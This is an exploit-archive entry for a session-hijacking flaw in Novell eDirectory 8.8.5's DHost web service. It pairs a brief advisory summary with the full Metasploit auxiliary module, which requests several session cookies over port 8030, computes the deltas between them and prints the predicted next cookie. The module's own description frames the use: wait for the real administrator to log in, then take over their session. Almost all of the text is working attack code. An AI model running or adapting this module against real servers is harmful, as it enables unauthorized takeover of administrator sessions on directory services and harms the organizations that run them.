Novell eDirectory 8.8.5 – DHost Weak Session Cookie Session Hijacking (Metasploit)
source: https://www.securityfocus.com/bid/38782/info Novell eDirectory is prone to a session-hijacking vulnerability. An attacker can exploit this issue to gain access to the affected application. Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected. ## # $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Novell eDirectory DHOST Predictable Session Cookie', 'Description' => %q{ This module is able to predict the next session cookie value issued by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run this module, wait until the real administrator logs in, then specify the predicted cookie value to hijack their session. }, 'References' => [ ['OSVDB', '60035'], ], 'Author' => 'hdm', 'License' => MSF_LICENSE, 'Version' => '$Revision: 7519 $' )) register_options([ Opt::RPORT(8030), OptBool.new('SSL', [true, 'Use SSL', true]) ], self.class) end def run vals = [] name = "" print_status("Making 5 requests to verify predictions...") 1.upto(6) do connect req = "GET /dhost/ HTTP/1.1\r\n" req << "Host: #{rhost}:#{rport}\r\n" req << "Connection: close\r\n\r\n" sock.put(req) res = sock.get_once(-1,5) disconnect cookie = nil if(res =~ /Cookie:\s*([^\s]+)\s*/mi) cookie = $1 cookie,junk = cookie.split(';') name,cookie = cookie.split('=') cookie = cookie.to_i(16) vals << cookie end end deltas = [] prev_val = nil vals.each_index do |i| if(i > 0) delta = vals[i] - prev_val print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}") deltas << delta end prev_val = vals[i] end deltas.uniq! if(deltas.length < 4) print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}") else print_status("The cookie value is less predictable, maybe this has been patched?") print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}") end end end |